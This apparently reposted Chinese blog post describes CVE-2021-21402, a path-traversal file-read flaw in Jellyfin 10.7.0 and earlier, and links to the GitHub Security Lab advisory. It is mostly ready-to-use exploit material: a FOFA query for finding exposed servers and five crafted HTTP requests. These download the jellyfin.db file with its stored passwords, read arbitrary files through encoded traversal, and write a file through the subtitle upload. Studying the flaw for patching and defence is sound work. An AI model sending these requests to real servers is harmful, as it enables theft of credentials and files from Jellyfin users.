CVE-2021-21402 Jellyfin任意文件读取

  • A+
所属分类:安全漏洞
FOFA:title="Jellyfin"

影响版本:

jellyfin<=10.7.0


POC1:从服务器下载带有密码的jellyfin.db:

GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1Host: x.x.x.xaccept: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Referer: http://x.x.x.x/web/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

CVE-2021-21402  Jellyfin任意文件读取

POC2:

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

POC3:

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

POC4:   要下载的PoC c:tempfilename.jpg: 

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1

POC5:

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1...X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."...
{"language":".\..\","format":".\..\test.bin","isForced":false,"data":"base64 encoded data"}

原文:

https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/

本文始发于微信公众号(安全鸭):CVE-2021-21402 Jellyfin任意文件读取

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: